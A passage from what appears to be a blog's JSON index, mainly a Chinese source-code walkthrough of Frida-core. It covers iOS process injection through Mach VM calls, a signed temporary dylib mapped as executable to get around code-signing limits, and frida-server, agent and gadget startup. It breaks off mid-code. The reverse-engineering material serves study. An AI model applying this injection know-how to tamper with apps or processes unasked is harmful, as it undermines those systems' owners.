context->Global(), argc, argv).ToLocal(&result);\n\n通过这种交互面板,就能给允许用户动态传入脚本进行执行了。之所以选择的是 JavaScript 而不是其他语言,就笔者估计来看,大致上有两个原因(以下内容为笔者的猜测,各位读者可以当看个乐子):\n\n首先编译型的语言肯定是不行了,因为它不支持动态调整,每次都要编译一份再运行肯定不太灵活\n而在解释型语言里就比较看重运行效率了。笔者曾写过一篇 V8 优化引擎 Turbofan 的原理分析,从其中可以大致理解到,V8 对 JavaScript 的优化效率几乎已经达到理论上限了,这意味着在各种解释型语言里,JS 的效率可能是最高的(这是区分场景的,但在 Frida 里,可能它是最合适的)\n\n\nTurbofan 可参考本文:https://bbs.kanxue.com/thread-273791.htm\n\n参考https://evilpan.com/2022/04/05/frida-internal/#stalkerhttps://zhuanlan.zhihu.com/p/603717118https://o0xmuhe.github.io/2019/11/15/frida-gum%E4%BB%A3%E7%A0%81%E9%98%85%E8%AF%BB/#2-2-2-hook%E4%BB%8E0%E5%88%B01\n","categories":["Note","逆向工程"],"tags":["逆向工程","Frida"]},{"title":"Frida-Core 源代码分析解读","url":"/2023/08/28/Frida-Core-%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90%E8%A7%A3%E8%AF%BB/","content":"前言书接上文,在理解了 frida 是如何对代码进行 hook 的以后,接下来笔者打算研究一下 Frida 是如何与用户进行交互实现动态的 hook 。因此还是按照前文的逻辑,我们从 frida-core 开始。\n\n前篇:《Frida-gum 源代码速通笔记》https://bbs.kanxue.com/thread-278423.htm\n\n本文内容目录本文主要涉及的是 Frida-core 模块的实现代码分析,大致内容包括:\n\nFrida-Core\nFrida-Server\n进程注入\nfrida-server 工作流程\nfrida-agent\nfrida-helper\n\n\nFrida-Gadget\nlaunchd\n总结 / 以及一个奇怪的问题\n\n\n\nFrida-Core进程注入首先要解决的第一个问题是,我们尽管知道 Frida-gum 能够对程序进行动态插桩,并也在上一节中介绍过它的工作原理,但是也正如我们所知,无论在 Android 还是 iOS 或者其他平台,进程和进程直接相互是透明的,就算对 Frida 来说目标进程并非透明的,但是对目标进程来说,至少 Frida 也该是透明的。但是现实情况显然是,二者往往需要相互之间识别并交互。\n那么解决方案似乎也呼之欲出了,既然两个进程不能相互识别,那么让它们成为一个进程不就好了?\n由于笔者本文主要是面向 iOS 的,因此下文中笔者会选择 darwin 平台的代码进行分析。对于 Android 平台,frida 的实现是有所不同的,不过大体的逻辑还是有些相似的,仅供参考。\n本部分的代码主要定义在 inject/src/darwin/darwin-host-session.vala 中,可以注意到,它是由 vala 编写的语言,这对我来说有些陌生。不过好在它的语法结构和 C 很像,并且编译 vala 的过程其实就是把它先转为 C 代码再使用 C 的编译器完成的,因此大体上还是能够从语意上理解逻辑。\n\n糟糕的是,我的 VSCode 不再支持代码跟踪了,即便装了插件也还是如此,要命。\n\n//inject/src/darwin/darwin-host-session.vala\t\tprivate async uint inject_agent (uint pid, string agent_parameters, Cancellable? cancellable) throws Error, IOError {\t\t\tuint id;\t\t\tunowned string entrypoint = "frida_agent_main";#if HAVE_EMBEDDED_ASSETS\t\t\tid = yield fruitjector.inject_library_resource (pid, agent, entrypoint, agent_parameters, cancellable);#else\t\t\tstring agent_path = Config.FRIDA_AGENT_PATH;#if IOS || TVOS\t\t\tunowned string? cryptex_path = Environment.get_variable ("CRYPTEX_MOUNT_PATH");\t\t\tif (cryptex_path != null)\t\t\t\tagent_path = cryptex_path + agent_path;#endif\t\t\tid = yield fruitjector.inject_library_file (pid, agent_path, entrypoint, agent_parameters, cancellable);#endif\t\t\treturn id;\t\t}\n\n跟入 inject_library_file :\n//inject/src/darwin/fruitjector.vala\t\tpublic async uint inject_library_file (uint pid, string path, string entrypoint, string data,\t\t\t\tCancellable? cancellable) throws Error, IOError {\t\t\tvar id = yield helper.inject_library_file (pid, path, entrypoint, data, cancellable);\t\t\tpid_by_id[id] = pid;\t\t\treturn id;\t\t}\n\n因此再次跟入 inject_library_file :\n//inject/src/darwin/frida-helper-service.vala\t\tpublic async uint inject_library_file (uint pid, string path, string entrypoint, string data, Cancellable? cancellable)\t\t\t\tthrows Error, IOError {\t\t\treturn yield backend.inject_library_file (pid, path, entrypoint, data, cancellable);\t\t}\n\n好吧,我们再次跟入:\n//inject/src/darwin/frida-helper-backend.vala\t\tpublic async uint inject_library_file (uint pid, string path, string entrypoint, string data, Cancellable? cancellable)\t\t\t\tthrows Error, IOError {\t\t\treturn yield _inject (pid, path, null, entrypoint, data, cancellable);\t\t}\n\n继续跟入 _inject :\n//inject/src/darwin/frida-helper-backend.vala\t\tprivate async uint _inject (uint pid, string path_or_name, MappedLibraryBlob? blob, string entrypoint, string data,\t\t\t\tCancellable? cancellable) throws Error, IOError {\t\t\tyield prepare_target (pid, cancellable);\t\t\tvar task = task_for_pid (pid);\t\t\ttry {\t\t\t\treturn _inject_into_task (pid, task, path_or_name, blob, entrypoint, data);\t\t\t} finally {\t\t\t\tdeallocate_port (task);\t\t\t}\t\t}\n\n可以看见此处将会使用 _inject_into_task 实现进程注入的方式,这里跟入 _frida_darwin_helper_backend_inject_into_task ,由于函数体比较大,这里省略部分代码:\nguint_frida_darwin_helper_backend_inject_into_task (FridaDarwinHelperBackend * self, guint pid, guint task, const gchar * path_or_name, FridaMappedLibraryBlob * blob, const gchar * entrypoint, const gchar * data, GError ** error){//此处省略//1. 初始化实例 self_task = mach_task_self (); instance = frida_inject_instance_new (self, self->next_id++, pid); mach_port_mod_refs (self_task, task, MACH_PORT_RIGHT_SEND, 1); instance->task = task; resolver = gum_darwin_module_resolver_new (task, &io_error);//此处省略//2. 在进程的内存空间中开辟内存 kr = mach_vm_allocate (task, &payload_address, instance->payload_size, VM_FLAGS_ANYWHERE); CHECK_MACH_RESULT (kr, ==, KERN_SUCCESS, "mach_vm_allocate(payload)"); instance->payload_address = payload_address; kr = mach_vm_allocate (self_task, &agent_context_address, layout.data_size, VM_FLAGS_ANYWHERE); g_assert (kr == KERN_SUCCESS); instance->agent_context = (FridaAgentContext *) agent_context_address; instance->agent_context_size = layout.data_size; data_address = payload_address + layout.data_offset; kr = mach_vm_remap (task, &data_address, layout.data_size, 0, VM_FLAGS_OVERWRITE, self_task, agent_context_address, FALSE, &cur_protection, &max_protection, VM_INHERIT_SHARE);//此处省略//3. 修改内存段权限 kr = mach_vm_protect (task, payload_address + layout.stack_guard_offset, layout.stack_guard_size, FALSE, VM_PROT_NONE); CHECK_MACH_RESULT (kr, ==, KERN_SUCCESS, "mach_vm_protect");//4. 初始化实例 if (!frida_agent_context_init (&agent_ctx, &details, &layout, payload_address, instance->payload_size, resolver, mapper, error)) goto failure;//5. 创建代码 frida_agent_context_emit_mach_stub_code (&agent_ctx, mach_stub_code, resolver, mapper); frida_agent_context_emit_pthread_stub_code (&agent_ctx, pthread_stub_code, resolver, mapper);\n\n正如注释中所述,其实就是通过 iOS 平台本身提供的 api 往进程的内存空间中开辟内存段。\n关键是接下来的部分。如果该平台允许存在 rwx 段那么将执行如下代码:\n if (gum_query_is_rwx_supported () || !gum_code_segment_is_supported ()) {//1. 向进程内存空间中写入 mach_stub_code 的代码 kr = mach_vm_write (task, payload_address + layout.mach_code_offset, (vm_offset_t) mach_stub_code, sizeof (mach_stub_code)); CHECK_MACH_RESULT (kr, ==, KERN_SUCCESS, "mach_vm_write(mach_stub_code)");//2. 向进程内存空间中写入 pthread_stub_code 的代码 kr = mach_vm_write (task, payload_address + layout.pthread_code_offset, (vm_offset_t) pthread_stub_code, sizeof (pthread_stub_code)); CHECK_MACH_RESULT (kr, ==, KERN_SUCCESS, "mach_vm_write(pthread_stub_code)");//3. 将权限改为 rx kr = mach_vm_protect (task, payload_address + layout.code_offset, page_size, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); CHECK_MACH_RESULT (kr, ==, KERN_SUCCESS, "mach_vm_protect"); }\n\n\n注意,对于已越狱的 iOS 设备,这么做是可行的;但是对于非越狱设备,系统并不允许由用户分配带有执行权限的内存段,同理也不允许修改段段权限为可执行。\n\n而对于不支持上述条件的情况,包括设备未越狱,那么则使用如下分支:\n else { GumCodeSegment * segment; guint8 * scratch_page; mach_vm_address_t code_address;//1.创建一个新的内存段,此时它尚且没有执行权限 segment = gum_code_segment_new (page_size, NULL);//2. 将代码拷贝到该内存段 scratch_page = gum_code_segment_get_address (segment); memcpy (scratch_page + layout.mach_code_offset, mach_stub_code, sizeof (mach_stub_code)); memcpy (scratch_page + layout.pthread_code_offset, pthread_stub_code, sizeof (pthread_stub_code));//3. 为代码构造具有可执行权限的内存段 gum_code_segment_realize (segment); gum_code_segment_map (segment, 0, page_size, scratch_page);//4。 将其映射到 code_address 去 code_address = payload_address + layout.code_offset; kr = mach_vm_remap (task, &code_address, page_size, 0, VM_FLAGS_OVERWRITE, self_task, (mach_vm_address_t) scratch_page, FALSE, &cur_protection, &max_protection, VM_INHERIT_COPY); gum_code_segment_free (segment); CHECK_MACH_RESULT (kr, ==, KERN_SUCCESS, "mach_vm_remap(code)"); }\n\n\n笔者大致查了一下,在 iOS 中,程序的代码段都是需要经过签名验证的,因此对于未经过签名的代码段是会因此而产生异常的,所以在 iOS 上不能使用 smc 也是这个原因,因为代码要么不可变要么不可执行。但反过来,它们允许用户删除对代码段的执行权限,这是合法的。\n\n这里我们跟入 gum_code_segment_realize 看看是如何得到可执行内存段的:\nstatic gbooleangum_code_segment_try_realize (GumCodeSegment * self){ gchar * dylib_path; GumCodeLayout layout; guint8 * dylib_header; gsize dylib_header_size; guint8 * code_signature; gint res; fsignatures_t sigs;//1. 创建临时文件 frida-XXXXXX.dylib self->fd = gum_file_open_tmp ("frida-XXXXXX.dylib", &dylib_path); if (self->fd == -1) return FALSE; gum_code_segment_compute_layout (self, &layout);//2. 构造 mach 文件头 dylib_header = g_malloc0 (layout.header_file_size); gum_put_mach_headers (dylib_path, &layout, dylib_header, &dylib_header_size);//3. 构造 code signature code_signature = g_malloc0 (layout.code_signature_file_size); gum_put_code_signature (dylib_header, self->data, &layout, code_signature);//4. 写入文件 gum_file_write_all (self->fd, GUM_OFFSET_NONE, dylib_header, dylib_header_size); gum_file_write_all (self->fd, layout.text_file_offset, self->data, layout.text_size); gum_file_write_all (self->fd, layout.code_signature_file_offset, code_signature, layout.code_signature_file_size); sigs.fs_file_start = 0; sigs.fs_blob_start = GSIZE_TO_POINTER (layout.code_signature_file_offset); sigs.fs_blob_size = layout.code_signature_file_size;//3. 添加签名 res = fcntl (self->fd, F_ADDFILESIGS, &sigs); unlink (dylib_path); g_free (code_signature); g_free (dylib_header); g_free (dylib_path); return res == 0;}\n\n以上操作完成了构造一个 dylib 的行为,接下来程序将会调用 gum_code_segment_try_map 将该动态库映射到内存中:\nstatic gbooleangum_code_segment_try_map (GumCodeSegment * self, gsize source_offset, gsize source_size, gpointer target_address){ gpointer result; result = mmap (target_address, source_size, PROT_READ | PROT_EXEC, MAP_PRIVATE | MAP_FIXED, self->fd, gum_query_page_size () + source_offset); return result != MAP_FAILED;}\n\n注意到此处使用 mmap 去映射文件到 target_address 并给出了可读可执行的权限标志。接下来这段内存就已经被注入到进程中去了。\n其实这个地方用到的就是一个小 trick。正如前文所说,iOS 不允许让一个 rw 页面变为 rx,也不允许让 rx 页面变为 rwx ,但是加载可执行文件的行为是不被禁止的,因为那属于正常的诉求,因此这里用需要注入的代码去构建可执行文件,最后再将其映射到内存中去,这样就没有修改任何页面了权限了。\n\n其实实际原因是,对于正常组织的代码段,有一个 max_protection 去限制能够允许 mprotect 设定权限的范围,默认情况下会被限制为 rx,也就是说只允许对这段内存给出 rx 中的范围。但是通过 mmap 创建的内存段的 max_protection 是允许给出 rwx 权限的。所以实际是只要最后是用 mmap 去构建注入内存,总会有办法解决的。\n\n\n您也可以参考本文:https://www.codercto.com/a/63507.html\n\n最后调用 mach_vm_remap 把这段内存重新映射回去即可。\nfrida-server在介绍了大致的 frida 进程注入的原理以后,接下来我们正式开始跟一下 frida 具体是如何开始工作的。\n在启动 frida 后,程序将从 run_application 开始向下调用 application.run ,然后再往下调用 start.begin,此时,它将通过 service.start 去启动一个 ControlService :\n\t\tpublic async void start (Cancellable? cancellable = null) throws Error, IOError {\t\t\tif (state != STOPPED)\t\t\t\tthrow new Error.INVALID_OPERATION ("Invalid operation");\t\t\tstate = STARTING;\t\t\ttry {//1. WebService 被启动\t\t\t\tyield service.start (cancellable);\t\t\t\tif (options.enable_preload) {//2. 创建 BaseDBusHostSession\t\t\t\t\tvar base_host_session = host_session as BaseDBusHostSession;\t\t\t\t\tif (base_host_session != null)\t\t\t\t\t\tbase_host_session.preload.begin (io_cancellable);\t\t\t\t}\t\t\t\tstate = STARTED;\t\t\t} finally {\t\t\t\tif (state != STARTED)\t\t\t\t\tstate = STOPPED;\t\t\t}\t\t}\n\n接下来我们跟入 WebService :\n\t\tpublic async void start (Cancellable? cancellable) throws Error, IOError {\t\t\tfrida_context = MainContext.ref_thread_default ();\t\t\tdbus_context = yield get_dbus_context ();\t\t\tcancellable.set_error_if_cancelled ();\t\t\tvar start_request = new Promise<SocketAddress> ();//1. handle_start_request 开始调度\t\t\tschedule_on_dbus_thread (() => {\t\t\t\thandle_start_request.begin (start_request, cancellable);\t\t\t\treturn false;\t\t\t});\t\t\t_listen_address = yield start_request.future.wait_async (cancellable);\t\t}\n\n而 handle_start_request 会向下调用 do_start 完成具体的工作,包括监听地址,设置处理函数等:\n\t\tprivate async SocketAddress do_start (Cancellable? cancellable) throws Error, IOError {\t\t\tserver = (Soup.Server) Object.new (typeof (Soup.Server),\t\t\t\t"tls-certificate", endpoint_params.certificate);//1. 设置 websocket_handler\t\t\tserver.add_websocket_handler ("/ws", endpoint_params.origin, null, on_websocket_opened);//......此处省略\t\t\t\tSocketAddress? effective_address = null;\t\t\t\tInetSocketAddress? inet_address = address as InetSocketAddress;\t\t\t\tif (inet_address != null) {\t\t\t\t\tuint16 start_port = inet_address.get_port ();\t\t\t\t\tuint16 candidate_port = start_port;\t\t\t\t\tdo {\t\t\t\t\t\ttry {//2. 监听地址\t\t\t\t\t\t\tserver.listen (inet_address, listen_options);\n\n跟入 on_websocket_opened :\nprivate void on_websocket_opened (Soup.Server server, Soup.ServerMessage msg, string path,\t\tSoup.WebsocketConnection connection) {\tvar peer = new WebConnection (connection);\tIOStream soup_stream = connection.get_io_stream ();\tSocketConnection socket_stream;\tsoup_stream.get ("base-iostream", out socket_stream);\tSocketAddress remote_address;\ttry {\t\tremote_address = socket_stream.get_remote_address ();\t} catch (GLib.Error e) {\t\tassert_not_reached ();\t}\tschedule_on_frida_thread (() => {\t\tincoming (peer, remote_address);\t\treturn false;\t});}\n\n此处发送了 incoming 信号,而对应的处理被在构造函数中可见:\n\t\tconstruct {\t\t\thost_session.spawn_added.connect (notify_spawn_added);\t\t\thost_session.child_added.connect (notify_child_added);\t\t\thost_session.child_removed.connect (notify_child_removed);\t\t\thost_session.process_crashed.connect (notify_process_crashed);\t\t\thost_session.output.connect (notify_output);\t\t\thost_session.agent_session_detached.connect (on_agent_session_detached);\t\t\thost_session.uninjected.connect (notify_uninjected);\t\t\tservice = new WebService (endpoint_params, CONTROL);//1. 此处注册了 on_server_connection\t\t\tservice.incoming.connect (on_server_connection);\t\t\tbroker_service.incoming.connect (on_broker_service_connection);\t\t}\n\n从 on_server_connection 跟入 handle_server_connection :\n\t\tprivate async void handle_server_connection (IOStream raw_connection) throws GLib.Error {//1. 创建 DBusConnection\t\t\tvar connection = yield new DBusConnection (raw_connection, null, DELAY_MESSAGE_PROCESSING, null, io_cancellable);\t\t\tconnection.on_closed.connect (on_connection_closed);\t\t\tPeer peer;\t\t\tAuthenticationService? auth_service = endpoint_params.auth_service;\t\t\tif (auth_service != null)\t\t\t\tpeer = new AuthenticationChannel (this, connection, auth_service);\t\t\telse//2. 创建 controlchannel\t\t\t\tpeer = setup_control_channel (connection);\t\t\tpeers[connection] = peer;\t\t\tconnection.start_message_processing ();\t\t}\n\n对于不需要认证的情况,将会调用 setup_control_channel 完成初始化,而该函数将会返回一个 ControlChannel 对象,其构造函数如下:\nconstruct {\ttry {\t\tHostSession session = this;\t\tregistrations.add (connection.register_object (ObjectPath.HOST_SESSION, session));\t\tAuthenticationService null_auth = new NullAuthenticationService ();\t\tregistrations.add (connection.register_object (Frida.ObjectPath.AUTHENTICATION_SERVICE, null_auth));\t\tTransportBroker broker = this;\t\tregistrations.add (connection.register_object (Frida.ObjectPath.TRANSPORT_BROKER, broker));\t} catch (IOError e) {\t\tassert_not_reached ();\t}}\n\n该对象在构造时将会把 HostSession 、AuthenticationService 和 TransportBroker 都注册到 Dbus 对象中,这会使得远程的电脑端能够直接调用这些类中的方法从而实现通信。\n而主要的负责通信的部分都由 ControlChannel 中的函数负责实现,常见的几个函数实现如下:\npublic async uint spawn (string program, HostSpawnOptions options, Cancellable? cancellable) throws GLib.Error {\treturn yield parent.host_session.spawn (program, options, cancellable);}public async void resume (uint pid, Cancellable? cancellable) throws GLib.Error {\tyield parent.resume (pid, this);}public async AgentSessionId attach (uint pid, HashTable<string, Variant> options,\t\tCancellable? cancellable) throws GLib.Error {\treturn yield parent.attach (pid, options, this, cancellable);}\n\n可以看到,当我们使用 spawn 或者 attach 去附加或启动某个进程时,最终还是调用了 host_session 中的对应函数。\n\n这里的 parent 指的是 ControlService 对象\n\n而 host_session 其实是一个 BaseDBusHostSession 对象,该对象是平台相关的,不同平台又不同的实现方法,以 drawin 为例,我们跟一下 spawn:\n\t\tpublic override async uint spawn (string program, HostSpawnOptions options, Cancellable? cancellable)\t\t\t\tthrows Error, IOError {#if IOS || TVOS\t\t\tif (!program.has_prefix ("/"))\t\t\t\treturn yield fruit_controller.spawn (program, options, cancellable);#endif\t\t\treturn yield helper.spawn (program, options, cancellable);\t\t}\n\n可以看出,实际上它只是一个封装,会向下调用 frida-helper 中的 spawn 去实现。对于 darwin 平台,helper 是一个 DarwinHelperBackend ,顺带一提,host_session 其实是 DarwinHostSession 。\n我们跟入实际的函数:\n\t\tpublic async uint spawn (string path, HostSpawnOptions options, Cancellable? cancellable) throws Error, IOError {\t\t\tif (!FileUtils.test (path, EXISTS))\t\t\t\tthrow new Error.EXECUTABLE_NOT_FOUND ("Unable to find executable at '%s'", path);\t\t\tStdioPipes? pipes;//1. 启动进程\t\t\tvar child_pid = _spawn (path, options, out pipes);\t\t\tChildWatch.add ((Pid) child_pid, on_child_dead);\t\t\tif (pipes != null) {\t\t\t\tstdin_streams[child_pid] = new UnixOutputStream (pipes.input, false);\t\t\t\tprocess_next_output_from.begin (new UnixInputStream (pipes.output, false), child_pid, 1, pipes);\t\t\t\tprocess_next_output_from.begin (new UnixInputStream (pipes.error, false), child_pid, 2, pipes);\t\t\t}\t\t\treturn child_pid;\t\t}\n\n到此我们就完成启动了,对于 spawn 模式启动的进程,将在启动后挂起等待附加,接下来我们跟一下 attach 。该函数也是平台相关的,最终的附加部分会由 perform_attach_to 实现:\nprotected override async Future<IOStream> perform_attach_to (uint pid, HashTable<string, Variant> options,\t\tCancellable? cancellable, out Object? transport) throws Error, IOError {\ttransport = null;\tstring remote_address;\tvar stream_future = yield helper.open_pipe_stream (pid, cancellable, out remote_address);\tvar id = yield inject_agent (pid, make_agent_parameters (pid, remote_address, options), cancellable);\tinjectee_by_pid[pid] = id;\treturn stream_future;}\n\n此处可以看出,frida 调用 inject_agent 将 frida-agant 注入到进程中去。\nfrida-agantfrida-agant 在大多数时候充当了 app 内部的服务端。在用户向应用传递新脚本的时候,通过 RPC 服务与 frida-agant 通信,由它来负责注入 hook 。\n在 inject_agent 中注入 agant 之后,entrypoint 为 frida_agent_main ,该函数也由 vala 转换而来,其实现定义在 lib/agant/agant.vala 中:\nnamespace Frida.Agent {\tpublic void main (string agent_parameters, ref Frida.UnloadPolicy unload_policy, void * injector_state) {\t\tif (Runner.shared_instance == null)\t\t\tRunner.create_and_run (agent_parameters, ref unload_policy, injector_state);\t\telse\t\t\tRunner.resume_after_transition (ref unload_policy, injector_state);\t}\n\n从 create_and_run 一路往下跟:\nprivate void run (owned FileDescriptorTablePadder padder) throws Error {\tmain_context.push_thread_default ();\tstart.begin ((owned) padder);\tmain_loop.run ();\tmain_context.pop_thread_default ();\tif (start_error != null)\t\tthrow start_error;}\n\n此处开始之后会先调用 start.run 完成各项初始化任务,然后在 main_loop.run() 中进入循环,直到进程退出。\n而此处 start.begin() 实际上执行的是如下函数:\n\t\tprivate async void start (owned FileDescriptorTablePadder padder) {\t\t\tstring[] tokens = agent_parameters.split ("|");\t\t\tunowned string transport_uri = tokens[0];\t\t\tbool enable_exceptor = true;#if DARWIN\t\t\tenable_exceptor = !Gum.Darwin.query_hardened ();#endif//此处省略\t\t\t{\t\t\t\tvar interceptor = Gum.Interceptor.obtain ();\t\t\t\tinterceptor.begin_transaction ();//此处省略\t\t\ttry {\t\t\t\tyield setup_connection_with_transport_uri (transport_uri);\t\t\t} catch (Error e) {\t\t\t\tstart_error = e;\t\t\t\tmain_loop.quit ();\t\t\t\treturn;\t\t\t}\t\t\tGum.ScriptBackend.get_scheduler ().push_job_on_js_thread (Priority.DEFAULT, () => {\t\t\t\tschedule_idle (start.callback);\t\t\t});\t\t\tyield;\t\t\tpadder = null;\t\t}\n\n可以看到,这里分别初始化了 ScriptBackend 和 Interceptor 。并连接到启动时指定的 transport_uri 建立通信隧道。\nfrida-helper其实这部分已经在前面介绍过了。frida-helper 的作用其实就是用于实现包括通信、注入进程、启动进程等各项功能等模块。这里就不再赘述了。\nfrida-gadget源代码来自于 lib/gadget/gadget.vala,这部分也是笔者一直比较关心的部分,因为它允许我们在非越狱环境下使用 frida。\n直接跟进主要函数:\n\tpublic void load (Gum.MemoryRange? mapped_range, string? config_data, int * result) {\t\tif (loaded)\t\t\treturn;\t\tloaded = true;\t\tEnvironment.init ();\t\tGee.Promise<int>? request = null;\t\tif (result != null)\t\t\trequest = new Gee.Promise<int> ();\t\tlocation = detect_location (mapped_range);//1. 解析或加载配置文件\t\ttry {\t\t\tconfig = (config_data != null)\t\t\t\t? parse_config (config_data)\t\t\t\t: load_config (location);\t\t} catch (Error e) {\t\t\tlog_warning (e.message);\t\t\treturn;\t\t}\t\tGum.Process.set_code_signing_policy (config.code_signing);\t\tGum.Cloak.add_range (location.range);\t\tinterceptor = Gum.Interceptor.obtain ();\t\tinterceptor.begin_transaction ();\t\texceptor = Gum.Exceptor.obtain ();//2. 设定 frida 的启动方式\t\ttry {\t\t\tvar interaction = config.interaction;\t\t\tif (interaction is ScriptInteraction) {\t\t\t\tcontroller = new ScriptRunner (config, location);\t\t\t} else if (interaction is ScriptDirectoryInteraction) {\t\t\t\tcontroller = new ScriptDirectoryRunner (config, location);\t\t\t} else if (interaction is ListenInteraction) {\t\t\t\tcontroller = new ControlServer (config, location);\t\t\t} else if (interaction is ConnectInteraction) {\t\t\t\tcontroller = new ClusterClient (config, location);\t\t\t} else {\t\t\t\tthrow new Error.NOT_SUPPORTED ("Invalid interaction specified");\t\t\t}\t\t} catch (Error e) {\t\t\tresume ();\t\t\tif (request != null) {\t\t\t\trequest.set_exception (e);\t\t\t} else {\t\t\t\tlog_warning ("Failed to start: " + e.message);\t\t\t}\t\t}//3. 启动 interceptor\t\tinterceptor.end_transaction ();\t\tif (controller == null)\t\t\treturn;\t\twait_for_resume_needed = true;//4. 确定是否需要直接恢复进程\t\tvar listen_interaction = config.interaction as ListenInteraction;\t\tif (listen_interaction != null && listen_interaction.on_load == ListenInteraction.LoadBehavior.RESUME) {\t\t\twait_for_resume_needed = false;\t\t}\t\tif (!wait_for_resume_needed)\t\t\tresume ();//5. 完成初始化并加载脚本进入 main_loop\t\tif (wait_for_resume_needed && Environment.can_block_at_load_time ()) {\t\t\tvar scheduler = Gum.ScriptBackend.get_scheduler ();\t\t\tscheduler.disable_background_thread ();\t\t\twait_for_resume_context = scheduler.get_js_context ();\t\t\tvar ignore_scope = new ThreadIgnoreScope (APPLICATION_THREAD);\t\t\tstart (request);\t\t\tvar loop = new MainLoop (wait_for_resume_context, true);\t\t\twait_for_resume_loop = loop;\t\t\twait_for_resume_context.push_thread_default ();\t\t\tloop.run ();\t\t\twait_for_resume_context.pop_thread_default ();\t\t\tscheduler.enable_background_thread ();\t\t\tignore_scope = null;\t\t} else {\t\t\tstart (request);\t\t}\t\tif (result != null) {\t\t\ttry {\t\t\t\t*result = request.future.wait ();\t\t\t} catch (Gee.FutureError e) {\t\t\t\t*result = -1;\t\t\t}\t\t}\t}\n\n首先 Frida-gadget 在被加载时会自动搜索配置文件,如果找到了则根据配置文件处理。\n随后完成一系列工作以后,在进入主循环以前会调用 start 加载脚本:\nprivate void start (Gee.Promise<int>? request) {\tvar source = new IdleSource ();\tsource.set_callback (() => {\t\tperform_start.begin (request);\t\treturn false;\t});\tsource.attach (Environment.get_worker_context ());}\n\n在 perform_start 中会调用 controller.start () ,此时调用的函数将会根据先前用户配置文件中选择的类型完成。\n比方说常用的 Listen 类型就会调用 ControlServer 下的 on_start :\n\t\tprotected override async void on_start () throws Error, IOError {\t\t\tvar interaction = (ListenInteraction) config.interaction;\t\t\tstring? token = interaction.token;\t\t\tauth_service = (token != null) ? new StaticAuthenticationService (token) : null;\t\t\tFile? asset_root = null;\t\t\tstring? asset_root_path = interaction.asset_root;\t\t\tif (asset_root_path != null)\t\t\t\tasset_root = File.new_for_path (location.resolve_asset_path (asset_root_path));\t\t\tvar endpoint_params = new EndpointParameters (interaction.address, interaction.port,\t\t\t\tparse_certificate (interaction.certificate, location), interaction.origin, auth_service, asset_root);// 1. 启动一个 WebService 与用户进行交互\t\t\tservice = new WebService (endpoint_params, CONTROL, interaction.on_port_conflict);\t\t\tservice.incoming.connect (on_incoming_connection);\t\t\tyield service.start (io_cancellable);\t\t}\n\n然后该服务就会监听特定地址了,如果用户传递了文件或代码等,则会与 frida-agant 通过 IPC 服务通信,由对方去负责具体的 hook 行为。\n又比如指定一个脚本令其自动运行:\npublic async void start () throws Error, IOError {\tsave_terminal_config ();\tyield load ();\tif (enable_development && script_path != null) {\t\ttry {\t\t\tscript_monitor = File.new_for_path (script_path).monitor_file (FileMonitorFlags.NONE);\t\t\tscript_monitor.changed.connect (on_script_file_changed);\t\t} catch (GLib.Error e) {\t\t\tprinterr (e.message + "\\n");\t\t}\t}}\n\n此处会调用 load 完成加载和启动的操作,我们跟入:\n\t\tprivate async void load () throws Error, IOError {\t\t\tload_in_progress = true;\t\t\ttry {\t\t\t\tstring source;\t\t\t\tvar options = new ScriptOptions ();//1. 读取脚本内容\t\t\t\tif (script_path != null) {\t\t\t\t\ttry {\t\t\t\t\t\tFileUtils.get_contents (script_path, out source);\t\t\t\t\t} catch (FileError e) {\t\t\t\t\t\tthrow new Error.INVALID_ARGUMENT ("%s", e.message);\t\t\t\t\t}//2. 读取脚本路径\t\t\t\t\toptions.name = Path.get_basename (script_path).split (".", 2)[0];\t\t\t\t} else {\t\t\t\t\tsource = script_source;\t\t\t\t\toptions.name = "frida";\t\t\t\t}\t\t\t\toptions.runtime = script_runtime;//3. 创建脚本\t\t\t\tvar s = yield session.create_script (source, options, io_cancellable);\t\t\t\tif (script != null) {\t\t\t\t\tyield script.unload (io_cancellable);\t\t\t\t\tscript = null;\t\t\t\t}\t\t\t\tscript = s;//4. 加载脚本到进程\t\t\t\tscript.message.connect (on_message);\t\t\t\tyield script.load (io_cancellable);//5. 启动目标进程\t\t\t\tyield call_init ();\t\t\t\tterminal_mode = yield query_terminal_mode ();\t\t\t\tapply_terminal_mode (terminal_mode);\t\t\t\tif (eternalize)\t\t\t\t\tyield script.eternalize (io_cancellable);\t\t\t} finally {\t\t\t\tload_in_progress = false;\t\t\t}\t\t}\n\n其中的 call_init 负责通过 rpc 服务去调用 init :\nprivate async void call_init () {\tvar stage = new Json.Node.alloc ().init_string ("early");\ttry {\t\tyield rpc_client.call ("init", new Json.Node[] { stage, parameters }, io_cancellable);\t} catch (GLib.Error e) {\t}}\n\n在完成以上操作后,frida 会进入 main_loop,而被启动的应用会等待被 resume。\n然后是 perform_start 的后半:\n\tprivate async void perform_start (Gee.Promise<int>? request) {\t\tworker_ignore_scope = new ThreadIgnoreScope (FRIDA_THREAD);\t\ttry {\t\t\tyield controller.start ();\t\t\tvar server = controller as ControlServer;\t\t\tif (server != null) {//1. 如果 controller 是一个服务端的话,那么就需要监听网络地址来和用户进行交互//比如常用的 Listen 模式就需要监听特定地址端口\t\t\t\tvar listen_address = server.listen_address;\t\t\t\tvar inet_address = listen_address as InetSocketAddress;\t\t\t\tif (inet_address != null) {\t\t\t\t\tuint16 listen_port = inet_address.get_port ();\t\t\t\t\tEnvironment.set_thread_name ("frida-gadget-tcp-%u".printf (listen_port));\t\t\t\t\tif (request != null) {\t\t\t\t\t\trequest.set_value (listen_port);\t\t\t\t\t} else {\t\t\t\t\t\tlog_info ("Listening on %s TCP port %u".printf (\t\t\t\t\t\t\tinet_address.get_address ().to_string (),\t\t\t\t\t\t\tlisten_port));\t\t\t\t\t}\t\t\t\t} else {#if !WINDOWS//2. 对于不是 windows 的系统,这里使用的是 frida-gadget-unix,这里监听 unix socket//主要是负责 IPC 服务用的\t\t\t\t\tvar unix_address = (UnixSocketAddress) listen_address;\t\t\t\t\tEnvironment.set_thread_name ("frida-gadget-unix");\t\t\t\t\tif (request != null) {\t\t\t\t\t\trequest.set_value (0);\t\t\t\t\t} else {\t\t\t\t\t\tlog_info ("Listening on UNIX socket at “%s”".printf (unix_address.get_path ()));\t\t\t\t\t}#else\t\t\t\t\tassert_not_reached ();#endif\t\t\t\t}\t\t\t} else {\t\t\t\tif (request != null)\t\t\t\t\trequest.set_value (0);\t\t\t}\t\t} catch (GLib.Error e) {\t\t\tresume ();\t\t\tif (request != null) 